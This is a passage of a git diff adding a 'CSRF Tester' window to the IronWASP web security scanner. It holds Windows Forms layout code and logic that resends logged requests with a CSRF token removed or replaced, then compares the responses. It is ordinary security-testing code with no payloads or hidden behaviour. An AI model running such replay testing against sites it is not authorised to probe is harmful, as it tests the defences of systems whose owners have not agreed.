this.TestRequestBinaryStringClmn.ReadOnly = true; + this.TestRequestBinaryStringClmn.Visible = false; + // + // TestResponseBinaryStringClmn + // + this.TestResponseBinaryStringClmn.HeaderText = "TestResponseBinaryString"; + this.TestResponseBinaryStringClmn.Name = "TestResponseBinaryStringClmn"; + this.TestResponseBinaryStringClmn.ReadOnly = true; + this.TestResponseBinaryStringClmn.Visible = false; + // + // ResultsBottomTabs + // + this.ResultsBottomTabs.Controls.Add(this.tabPage11); + this.ResultsBottomTabs.Controls.Add(this.tabPage3); + this.ResultsBottomTabs.Controls.Add(this.tabPage7); + this.ResultsBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsBottomTabs.Location = new System.Drawing.Point(0, 0); + this.ResultsBottomTabs.Margin = new System.Windows.Forms.Padding(0); + this.ResultsBottomTabs.Multiline = true; + this.ResultsBottomTabs.Name = "ResultsBottomTabs"; + this.ResultsBottomTabs.Padding = new System.Drawing.Point(0, 0); + this.ResultsBottomTabs.SelectedIndex = 0; + this.ResultsBottomTabs.Size = new System.Drawing.Size(876, 279); + this.ResultsBottomTabs.TabIndex = 3; + // + // tabPage11 + // + this.tabPage11.Controls.Add(this.tabControl5); + this.tabPage11.Location = new System.Drawing.Point(4, 22); + this.tabPage11.Name = "tabPage11"; + this.tabPage11.Size = new System.Drawing.Size(868, 253); + this.tabPage11.TabIndex = 5; + this.tabPage11.Text = " Difference due to Invalid Token"; + this.tabPage11.UseVisualStyleBackColor = true; + // + // tabControl5 + // + this.tabControl5.Controls.Add(this.tabPage22); + this.tabControl5.Controls.Add(this.tabPage19); + this.tabControl5.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl5.Location = new System.Drawing.Point(0, 0); + this.tabControl5.Margin = new System.Windows.Forms.Padding(0); + this.tabControl5.Name = "tabControl5"; + this.tabControl5.Padding = new System.Drawing.Point(0, 0); + this.tabControl5.SelectedIndex = 0; + this.tabControl5.Size = new System.Drawing.Size(868, 253); + this.tabControl5.TabIndex = 5; + // + // tabPage22 + // + this.tabPage22.Controls.Add(this.OriginalVsTestResponseDRV); + this.tabPage22.Location = new System.Drawing.Point(4, 22); + this.tabPage22.Margin = new System.Windows.Forms.Padding(0); + this.tabPage22.Name = "tabPage22"; + this.tabPage22.Size = new System.Drawing.Size(860, 227); + this.tabPage22.TabIndex = 1; + this.tabPage22.Text = " Difference in Responses "; + this.tabPage22.UseVisualStyleBackColor = true; + // + // tabPage19 + // + this.tabPage19.Controls.Add(this.OriginalVsTestRequestDRV); + this.tabPage19.Location = new System.Drawing.Point(4, 22); + this.tabPage19.Margin = new System.Windows.Forms.Padding(0); + this.tabPage19.Name = "tabPage19"; + this.tabPage19.Size = new System.Drawing.Size(860, 227); + this.tabPage19.TabIndex = 0; + this.tabPage19.Text = " Difference in Request "; + this.tabPage19.UseVisualStyleBackColor = true; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.tabControl3); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(868, 253); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " Invalid Token Request/Response "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // tabControl3 + // + this.tabControl3.Controls.Add(this.tabPage16); + this.tabControl3.Controls.Add(this.tabPage15); + this.tabControl3.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl3.Location = new System.Drawing.Point(0, 0); + this.tabControl3.Margin = new System.Windows.Forms.Padding(0); + this.tabControl3.Name = "tabControl3"; + this.tabControl3.Padding = new System.Drawing.Point(0, 0); + this.tabControl3.SelectedIndex = 0; + this.tabControl3.Size = new System.Drawing.Size(868, 253); + this.tabControl3.TabIndex = 3; + // + // tabPage16 + // + this.tabPage16.Controls.Add(this.TestResponseView); + this.tabPage16.Location = new System.Drawing.Point(4, 22); + this.tabPage16.Margin = new System.Windows.Forms.Padding(0); + this.tabPage16.Name = "tabPage16"; + this.tabPage16.Size = new System.Drawing.Size(860, 227); + this.tabPage16.TabIndex = 1; + this.tabPage16.Text = " Response "; + this.tabPage16.UseVisualStyleBackColor = true; + // + // tabPage15 + // + this.tabPage15.Controls.Add(this.TestRequestView); + this.tabPage15.Location = new System.Drawing.Point(4, 22); + this.tabPage15.Margin = new System.Windows.Forms.Padding(0); + this.tabPage15.Name = "tabPage15"; + this.tabPage15.Size = new System.Drawing.Size(860, 227); + this.tabPage15.TabIndex = 0; + this.tabPage15.Text = " Request "; + this.tabPage15.UseVisualStyleBackColor = true; + // + // tabPage7 + // + this.tabPage7.BackColor = System.Drawing.Color.White; + this.tabPage7.Controls.Add(this.LogDisplayTabs); + this.tabPage7.Location = new System.Drawing.Point(4, 22); + this.tabPage7.Margin = new System.Windows.Forms.Padding(0); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Size = new System.Drawing.Size(868, 253); + this.tabPage7.TabIndex = 0; + this.tabPage7.Text = " Valid Token Request/Response "; + // + // LogDisplayTabs + // + this.LogDisplayTabs.Controls.Add(this.tabPage29); + this.LogDisplayTabs.Controls.Add(this.tabPage12); + this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogDisplayTabs.Name = "LogDisplayTabs"; + this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.SelectedIndex = 0; + this.LogDisplayTabs.Size = new System.Drawing.Size(868, 253); + this.LogDisplayTabs.TabIndex = 3; + // + // tabPage29 + // + this.tabPage29.Controls.Add(this.OriginalResponseView); + this.tabPage29.Location = new System.Drawing.Point(4, 22); + this.tabPage29.Margin = new System.Windows.Forms.Padding(0); + this.tabPage29.Name = "tabPage29"; + this.tabPage29.Size = new System.Drawing.Size(860, 227); + this.tabPage29.TabIndex = 1; + this.tabPage29.Text = " Response "; + this.tabPage29.UseVisualStyleBackColor = true; + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.OriginalRequestView); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Margin = new System.Windows.Forms.Padding(0); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(860, 227); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = " Request "; + this.tabPage12.UseVisualStyleBackColor = true; + // + // SessView + // + this.SessView.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessView.Location = new System.Drawing.Point(0, 0); + this.SessView.Name = "SessView"; + this.SessView.Size = new System.Drawing.Size(606, 206); + this.SessView.TabIndex = 0; + // + // OriginalVsTestResponseDRV + // + this.OriginalVsTestResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestResponseDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestResponseDRV.Name = "OriginalVsTestResponseDRV"; + this.OriginalVsTestResponseDRV.Size = new System.Drawing.Size(860, 227); + this.OriginalVsTestResponseDRV.TabIndex = 1; + // + // OriginalVsTestRequestDRV + // + this.OriginalVsTestRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestRequestDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestRequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestRequestDRV.Name = "OriginalVsTestRequestDRV"; + this.OriginalVsTestRequestDRV.Size = new System.Drawing.Size(860, 227); + this.OriginalVsTestRequestDRV.TabIndex = 0; + // + // TestResponseView + // + this.TestResponseView.BackColor = System.Drawing.Color.White; + this.TestResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestResponseView.IncludeReflectionTab = true; + this.TestResponseView.Location = new System.Drawing.Point(0, 0); + this.TestResponseView.Margin = new System.Windows.Forms.Padding(0); + this.TestResponseView.Name = "TestResponseView"; + this.TestResponseView.ReadOnly = true; + this.TestResponseView.Size = new System.Drawing.Size(860, 227); + this.TestResponseView.TabIndex = 0; + // + // TestRequestView + // + this.TestRequestView.BackColor = System.Drawing.Color.White; + this.TestRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestRequestView.Location = new System.Drawing.Point(0, 0); + this.TestRequestView.Margin = new System.Windows.Forms.Padding(0); + this.TestRequestView.Name = "TestRequestView"; + this.TestRequestView.ReadOnly = true; + this.TestRequestView.Size = new System.Drawing.Size(176, 0); + this.TestRequestView.TabIndex = 0; + // + // OriginalResponseView + // + this.OriginalResponseView.BackColor = System.Drawing.Color.White; + this.OriginalResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalResponseView.IncludeReflectionTab = true; + this.OriginalResponseView.Location = new System.Drawing.Point(0, 0); + this.OriginalResponseView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalResponseView.Name = "OriginalResponseView"; + this.OriginalResponseView.ReadOnly = true; + this.OriginalResponseView.Size = new System.Drawing.Size(860, 227); + this.OriginalResponseView.TabIndex = 0; + // + // OriginalRequestView + // + this.OriginalRequestView.BackColor = System.Drawing.Color.White; + this.OriginalRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalRequestView.Location = new System.Drawing.Point(0, 0); + this.OriginalRequestView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalRequestView.Name = "OriginalRequestView"; + this.OriginalRequestView.ReadOnly = true; + this.OriginalRequestView.Size = new System.Drawing.Size(176, 0); + this.OriginalRequestView.TabIndex = 0; + // + // CsrfTester + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "CsrfTester"; + this.Text = "CSRF Tester"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CsrfTester_FormClosing); + this.Load += new System.EventHandler(this.CsrfTester_Load); + this.CandidatesBaseSplit.Panel1.ResumeLayout(false); + this.CandidatesBaseSplit.Panel2.ResumeLayout(false); + this.CandidatesBaseSplit.ResumeLayout(false); + this.LogsDisplaySplit.Panel1.ResumeLayout(false); + this.LogsDisplaySplit.Panel2.ResumeLayout(false); + this.LogsDisplaySplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.CandidatesGrid)).EndInit(); + this.BaseTabs.ResumeLayout(false); + this.ConfigureTab.ResumeLayout(false); + this.ConfigurePanel.ResumeLayout(false); + this.ConfigurePanel.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FileTypesScopeGrid)).EndInit(); + this.CandidatesTab.ResumeLayout(false); + this.CandidatesSplit.Panel1.ResumeLayout(false); + this.CandidatesSplit.Panel1.PerformLayout(); + this.CandidatesSplit.Panel2.ResumeLayout(false); + this.CandidatesSplit.ResumeLayout(false); + this.ResultsTab.ResumeLayout(false); + this.ResultsBaseSplit.Panel1.ResumeLayout(false); + this.ResultsBaseSplit.Panel2.ResumeLayout(false); + this.ResultsBaseSplit.ResumeLayout(false); + this.ResultsTopSplit.Panel1.ResumeLayout(false); + this.ResultsTopSplit.Panel1.PerformLayout(); + this.ResultsTopSplit.Panel2.ResumeLayout(false); + this.ResultsTopSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ResultsGrid)).EndInit(); + this.ResultsBottomTabs.ResumeLayout(false); + this.tabPage11.ResumeLayout(false); + this.tabControl5.ResumeLayout(false); + this.tabPage22.ResumeLayout(false); + this.tabPage19.ResumeLayout(false); + this.tabPage3.ResumeLayout(false); + this.tabControl3.ResumeLayout(false); + this.tabPage16.ResumeLayout(false); + this.tabPage15.ResumeLayout(false); + this.tabPage7.ResumeLayout(false); + this.LogDisplayTabs.ResumeLayout(false); + this.tabPage29.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer CandidatesBaseSplit; + private System.Windows.Forms.SplitContainer LogsDisplaySplit; + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage ConfigureTab; + private System.Windows.Forms.TabPage CandidatesTab; + private SessionView SessView; + private System.Windows.Forms.TabPage ResultsTab; + private System.Windows.Forms.Button FindCandidatesBtn; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox CsrfTokenParameterNameTB; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.RadioButton TestModeRemoveTokenRB; + private System.Windows.Forms.TextBox CsrfTokenReplacementValueTB; + private System.Windows.Forms.RadioButton TestModeReplaceTokenRB; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.ComboBox SessionRecordingCombo; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label5; + internal System.Windows.Forms.DataGridView FileTypesScopeGrid; + private System.Windows.Forms.ProgressBar ConfigureStepProgressBar; + private System.Windows.Forms.ProgressBar CandidatesStepProgressBar; + private System.Windows.Forms.Button TestCandidatesBtn; + private System.Windows.Forms.SplitContainer ResultsBaseSplit; + internal System.Windows.Forms.TabControl ResultsBottomTabs; + private System.Windows.Forms.TabPage tabPage7; + internal System.Windows.Forms.TabControl LogDisplayTabs; + private System.Windows.Forms.TabPage tabPage12; + internal RequestView OriginalRequestView; + private System.Windows.Forms.TabPage tabPage29; + internal ResponseView OriginalResponseView; + private System.Windows.Forms.TabPage tabPage3; + internal System.Windows.Forms.TabControl tabControl3; + private System.Windows.Forms.TabPage tabPage15; + internal RequestView TestRequestView; + private System.Windows.Forms.TabPage tabPage16; + internal ResponseView TestResponseView; + private System.Windows.Forms.TabPage tabPage11; + internal System.Windows.Forms.TabControl tabControl5; + private System.Windows.Forms.TabPage tabPage19; + private DiffResultView OriginalVsTestRequestDRV; + private System.Windows.Forms.TabPage tabPage22; + private DiffResultView OriginalVsTestResponseDRV; + internal System.Windows.Forms.DataGridView ResultsGrid; + private System.Windows.Forms.Panel ConfigurePanel; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + internal System.Windows.Forms.DataGridView CandidatesGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameSelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn MethodClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn URLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn FileClmn; + private System.Windows.Forms.DataGridViewCheckBoxColumn SSLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParametersClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn CodeClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn LengthClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ClmnMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn SetCookieClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn NotesClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn IDClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestedUrlClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestIdClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalVsTestClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalRequestBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalResponseBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestRequestBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestResponseBinaryStringClmn; + private System.Windows.Forms.ProgressBar ResultsStepProgressBar; + private System.Windows.Forms.SplitContainer CandidatesSplit; + public System.Windows.Forms.TreeView HostnamesScopeTree; + public System.Windows.Forms.TreeView FilterTree; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.LinkLabel ShowDocLL; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.SplitContainer ResultsTopSplit; + } +} \ No newline at end of file diff --git a/Iron/Hawas/CsrfTester.cs b/Iron/Hawas/CsrfTester.cs new file mode 100644 index 0000000..0217de8 --- /dev/null +++ b/Iron/Hawas/CsrfTester.cs @@ -0,0 +1,880 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP.Hawas +{ + public partial class CsrfTester : Form + { + Thread WorkerThread = null; + static CsrfTester OpenCsrfTester = null; + + Recording.Recording LoginRecording = null; + + bool RemoveParameter = false; + string TokenName = ""; + string TokenReplacementValue = ""; + + bool InResultsStage = false; + + public CsrfTester() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenCsrfTester = new CsrfTester(); + OpenCsrfTester.Show(); + } + OpenCsrfTester.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenCsrfTester == null) + { + return false; + } + else if (OpenCsrfTester.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + private void CsrfTester_Load(object sender, EventArgs e) + { + WorkerThread = new Thread(GetInitialScopeValuesFromDB); + WorkerThread.Start(); + SessionRecordingCombo.Items.Clear(); + SessionRecordingCombo.Items.Add(""); + foreach (string RecName in Recording.Recording.GetNames()) + { + SessionRecordingCombo.Items.Add(RecName); + } + } + + void GetInitialScopeValuesFromDB() + { + try + { + List Hosts = IronDB.GetUniqueHostsFromProxyLog(); + List Files = IronDB.GetUniqueFilesFromProxyLog(); + ShowConfigScopeValues(Hosts, Files); + } + catch (ThreadAbortException) { } + catch (Exception Exp) { IronException.Report("Error reading host and file values from DB", Exp); } + } + + delegate void ShowConfigScopeValues_d(List Hosts, List Files); + void ShowConfigScopeValues(List Hosts, List Files) + { + if (ConfigurePanel.InvokeRequired) + { + ShowConfigScopeValues_d CALL_d = new ShowConfigScopeValues_d(ShowConfigScopeValues); + ConfigurePanel.Invoke(CALL_d, new object[] { Hosts, Files }); + } + else + { + List> HostPartsList = new List>(); + + foreach (string Host in Hosts) + { + List Parts = new List(Host.Split(new char[] { '.' }, StringSplitOptions.RemoveEmptyEntries)); + Parts.Reverse(); + HostPartsList.Add(Parts); + } + + HostnamesScopeTree.Nodes.Clear(); + + foreach (List HostParts in HostPartsList) + { + HostParts.Reverse(); + string HostName = string.Join(".", HostParts.ToArray()); + HostParts.Reverse(); + + string BaseHost = ""; + if (HostParts.Count > 1) + { + BaseHost = string.Format("{0}.{1}", HostParts[1], HostParts[0]); + } + else + { + BaseHost = HostParts[0]; + } + + TreeNode BaseNode = null; + + if (HostnamesScopeTree.Nodes.ContainsKey(BaseHost)) + { + BaseNode = HostnamesScopeTree.Nodes[BaseHost]; + } + else + { + BaseNode = HostnamesScopeTree.Nodes.Add(BaseHost, " " + BaseHost); + } + + for (int i = 2; i < HostParts.Count; i++) + { + if (BaseNode.Nodes.ContainsKey(HostParts[i])) + { + BaseNode = BaseNode.Nodes[HostParts[i]]; + } + else + { + string NodeText = ""; + StringBuilder SB = new StringBuilder(" "); + for (int j = i; j >= 0; j--) + { + SB.Append(HostParts[j]); + SB.Append("."); + } + NodeText = SB.ToString().Trim('.'); + BaseNode = BaseNode.Nodes.Add(HostParts[i], NodeText); + } + } + + } + HostnamesScopeTree.ExpandAll(); + + FileTypesScopeGrid.Rows.Clear(); + foreach (string File in Files) + { + if (File.Trim().Length == 0) + { + FileTypesScopeGrid.Rows.Add(new object[] { true, " NO EXTENSION " }); + } + else + { + if (Crawler.ExtenionsToAvoid.Contains(File)) + { + FileTypesScopeGrid.Rows.Add(new object[] { false, File }); + } + else + { + FileTypesScopeGrid.Rows.Add(new object[] { true, File }); + } + } + } + ConfigureStepProgressBar.Visible = false; + ConfigurePanel.Visible = true; + } + } + + delegate void ShowMatchingRecordValues_d(List Records); + void ShowMatchingRecordValues(List Records) + { + if (ConfigurePanel.InvokeRequired) + { + ShowMatchingRecordValues_d CALL_d = new ShowMatchingRecordValues_d(ShowMatchingRecordValues); + ConfigurePanel.Invoke(CALL_d, new object[] { Records }); + } + else + { + FilterTree.Nodes.Clear(); + FilterTree.Nodes.Add("Methods").Checked = true; + FilterTree.Nodes.Add("File Extensions").Checked = true; + FilterTree.Nodes.Add("Urls").Checked = true; + + CandidatesGrid.Rows.Clear(); + foreach (LogRow LR in Records) + { + if (!FilterTree.Nodes[0].Nodes.ContainsKey(LR.Method)) + { + FilterTree.Nodes[0].Nodes.Add(LR.Method, LR.Method).Checked = true; + } + string File = LR.File; + if (File.Trim().Length == 0) + { + File = " - NO EXTENSION - "; + } + if (!FilterTree.Nodes[1].Nodes.ContainsKey(File)) + { + FilterTree.Nodes[1].Nodes.Add(File, File).Checked = true; + } + if (!FilterTree.Nodes[2].Nodes.ContainsKey(LR.Host)) + { + FilterTree.Nodes[2].Nodes.Add(LR.Host, LR.Host).Checked = true; + } + TreeNode HostNode = FilterTree.Nodes[2].Nodes[LR.Host]; + if (!HostNode.Nodes.ContainsKey("/")) + { + HostNode.Nodes.Add("/", "/").Checked = true; + } + Request Req = new Request(string.Format("http://{0}{1}", LR.Host, LR.Url)); + + for (int i = 0; i < Req.UrlPathParts.Count; i++) + { + string Path = Req.UrlPathParts[i]; + string FullPath = ""; + if (Req.UrlPathParts.Count > 0) + { + StringBuilder SB = new StringBuilder(); + for (int j = 0; j <= i; j++) + { + SB.Append("/"); + SB.Append(Req.UrlPathParts[j]); + } + FullPath = SB.ToString(); + } + else + { + FullPath = "/"; + } + if (!HostNode.Nodes.ContainsKey(FullPath)) + { + HostNode.Nodes.Add(FullPath, Path).Checked = true; + if (!HostNode.Checked) + { + HostNode.Checked = true; + } + } + HostNode = HostNode.Nodes[FullPath]; + } + } + + //Adding the rows after the tree population since every check on the tree node would trigger a filter application on the grids + foreach (LogRow LR in Records) + { + object[] Fields = LR.ToLogAnalyzerGridRowObjectArray(); + Fields[0] = true; + CandidatesGrid.Rows.Add(Fields); + } + FilterTree.ExpandAll(); + + CandidatesStepProgressBar.Visible = false; + CandidatesBaseSplit.Visible = true; + TestCandidatesBtn.Visible = true; + } + } + + delegate void AddTestResult_d(string OriginalRequestBinaryString, string OriginalResonseBinaryString, string TestRequestBinaryString, string TestResponseBinaryString, int PercentOfDifference, Request OriginalRequest, Request TestRequest); + void AddTestResult(string OriginalRequestBinaryString, string OriginalResonseBinaryString, string TestRequestBinaryString, string TestResponseBinaryString, int PercentOfDifference, Request OriginalRequest, Request TestRequest) + { + if (ConfigurePanel.InvokeRequired) + { + AddTestResult_d CALL_d = new AddTestResult_d(AddTestResult); + ConfigurePanel.Invoke(CALL_d, new object[] { OriginalRequestBinaryString, OriginalResonseBinaryString, TestRequestBinaryString, TestResponseBinaryString, PercentOfDifference, OriginalRequest, TestRequest }); + } + else + { + /* + ID + HostName + URL + Test ID + % of diff + Ori Req BS + Ori Res BS + Test Req BS + Test Res BS + */ + int RowId = ResultsGrid.Rows.Add(new object[] { OriginalRequest.ID, OriginalRequest.Host, OriginalRequest.Url, TestRequest.ID, PercentOfDifference, OriginalRequestBinaryString, OriginalResonseBinaryString, TestRequestBinaryString, TestResponseBinaryString }); + if (PercentOfDifference <= 10) + { + ResultsGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.Red; + } + } + } + + delegate void ResultsEnd_d(); + void ResultsEnd() + { + if (ConfigurePanel.InvokeRequired) + { + ResultsEnd_d CALL_d = new ResultsEnd_d(ResultsEnd); + ConfigurePanel.Invoke(CALL_d, new object[] { }); + } + else + { + ResultsStepProgressBar.Visible = false; + } + } + + List GetSelectedHosts(TreeNode Node) + { + List SelectedHosts = new List(); + if (Node.Checked) + { + if (!SelectedHosts.Contains(Node.Text.Trim())) + { + SelectedHosts.Add(Node.Text.Trim()); + } + } + foreach (TreeNode ChildNode in Node.Nodes) + { + SelectedHosts.AddRange(GetSelectedHosts(ChildNode)); + } + return SelectedHosts; + } + + private void FindCandidatesBtn_Click(object sender, EventArgs e) + { + + List SelectedHosts = new List(); + foreach (TreeNode Node in HostnamesScopeTree.Nodes) + { + SelectedHosts.AddRange(GetSelectedHosts(Node)); + } + + List SelectedFileTypes = new List(); + foreach (DataGridViewRow Row in FileTypesScopeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Cells[1].Value.ToString().Equals(" NO EXTENSION ")) + { + SelectedFileTypes.Add(""); + } + else + { + SelectedFileTypes.Add(Row.Cells[1].Value.ToString()); + } + } + } + + TokenName = CsrfTokenParameterNameTB.Text; + TokenReplacementValue = CsrfTokenReplacementValueTB.Text; + RemoveParameter = TestModeRemoveTokenRB.Checked; + + if (Recording.Recording.GetNames().Contains(SessionRecordingCombo.Text)) + { + LoginRecording = Recording.Recording.Get(SessionRecordingCombo.Text); + } + else if (SessionRecordingCombo.Text.Trim().Length > 0) + { + MessageBox.Show("Invalid Login recording name, enter a valid name."); + return; + } + if (TokenName.Trim().Length == 0) + { + MessageBox.Show("Name of the CSRF token parameter cannot be blank."); + return; + } + if (SelectedHosts.Count == 0) + { + MessageBox.Show("Atleast one host must be selected for testing"); + return; + } + if (SelectedFileTypes.Count == 0) + { + MessageBox.Show("Atleast one file extension must be selected for testing"); + return; + } + + CandidatesBaseSplit.Visible = false; + CandidatesStepProgressBar.Visible = true; + BaseTabs.SelectTab(1); + try + { + WorkerThread.Abort(); + } + catch { } + WorkerThread = new Thread(FindCandidatesFromDB); + WorkerThread.Start(new Dictionary>() {{"Hosts", SelectedHosts}, {"File", SelectedFileTypes}, {"TokenName", new List(){TokenName}} }); + } + + void FindCandidatesFromDB(object FilterDictObj) + { + try + { + Dictionary> FilterInfo = (Dictionary>)FilterDictObj; + string CsrfParameterName = FilterInfo["TokenName"][0]; + + List MatchingRecords = IronDB.GetRecordsFromProxyLogMatchingFilters(FilterInfo["Hosts"], FilterInfo["File"], CsrfParameterName); + List RecordsWithToken = new List(); + foreach (LogRow LR in MatchingRecords) + { + Request Req = Request.FromProxyLog(LR.ID); + if (Req.Query.Has(CsrfParameterName)) + { + RecordsWithToken.Add(LR); + } + else if (Req.HasBody) + { + if (Req.IsNormal) + { + if (Req.Body.Has(CsrfParameterName)) + { + RecordsWithToken.Add(LR); + } + } + else + { + FormatParameters Params = null; + if (Req.IsXml) + { + Params = FormatPlugin.GetXmlParameters(Req); + } + else if (Req.IsSoap) + { + Params = FormatPlugin.GetSoapParameters(Req); + } + else if (Req.IsJson) + { + Params = FormatPlugin.GetJsonParameters(Req); + } + else if (Req.IsMultiPart) + { + Params = FormatPlugin.GetMultipartParameters(Req); + } + if (Params != null) + { + for (int i = 0; i < Params.Count; i++) + { + if (Params.GetName(i).Contains(CsrfParameterName)) + { + string[] Parts = Params.GetName(i).Split(new char[] { '>' }, StringSplitOptions.RemoveEmptyEntries); + if (Parts.Length > 0) + { + if (Parts[Parts.Length - 1].Trim().Equals(TokenName)) + { + RecordsWithToken.Add(LR); + break; + } + } + } + } + } + } + } + } + + //Show these records on the page + ShowMatchingRecordValues(RecordsWithToken); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Error finding candidates - {0}", Exp.Message)); + } + } + + private void TestCandidatesBtn_Click(object sender, EventArgs e) + { + List SelectedLogIds = new List(); + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + SelectedLogIds.Add((int) Row.Cells[1].Value); + } + } + if (SelectedLogIds.Count == 0) + { + MessageBox.Show("No candidates were selected for testing, select atleast one candidate."); + return; + } + + ResultsGrid.Rows.Clear(); + ResultsStepProgressBar.Visible = true; + InResultsStage = true; + BaseTabs.SelectTab(2); + try + { + WorkerThread.Abort(); + } + catch { } + WorkerThread = new Thread(TestSelectedCandidates); + WorkerThread.Start(SelectedLogIds); + } + + void TestSelectedCandidates(object SelectedItemsObj) + { + try + { + List LogIds = (List)SelectedItemsObj; + foreach (int LogId in LogIds) + { + TestLog(LogId); + } + ResultsEnd(); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Error testing candidates - {0}", Exp.Message)); + } + } + + void TestLog(int LogId) + { + Session Sess = Session.FromProxyLog(LogId); + if (Sess.Response != null) + { + Request ReqToTest = ModifyCsrfTokenInRequest(Sess.Request.GetClone()); + ReqToTest.SetSource("CsrfTester"); + if (LoginRecording != null) + { + ReqToTest.SetCookie(LoginRecording.Cookies); + if (!LoginRecording.IsLoggedIn()) + { + LoginRecording.DoLogin(); + if (!LoginRecording.IsLoggedIn()) + { + throw new Exception("Unable to login user!"); + } + ReqToTest.SetCookie(LoginRecording.Cookies); + } + } + Response Res = ReqToTest.Send(); + + int DiffPercent = Tools.DiffLevel(Sess.Response.ToString(), Res.ToString()); + + AddTestResult(Sess.Request.ToBinaryString(), Sess.Response.ToBinaryString(), ReqToTest.ToBinaryString(), Res.ToBinaryString(), DiffPercent, Sess.Request, ReqToTest); + } + } + + Request ModifyCsrfTokenInRequest(Request Req) + { + if (Req.Query.Has(TokenName)) + { + if (RemoveParameter) + { + Req.Query.Remove(TokenName); + } + else + { + Req.Query.Set(TokenName, TokenReplacementValue); + } + } + if (Req.HasBody) + { + if (Req.IsNormal) + { + if (Req.Body.Has(TokenName)) + { + if (RemoveParameter) + { + Req.Body.Remove(TokenName); + } + else + { + Req.Body.Set(TokenName, TokenReplacementValue); + } + } + } + else + { + FormatParameters Params = null; + if (Req.IsXml) + { + Params = FormatPlugin.GetXmlParameters(Req); + } + else if 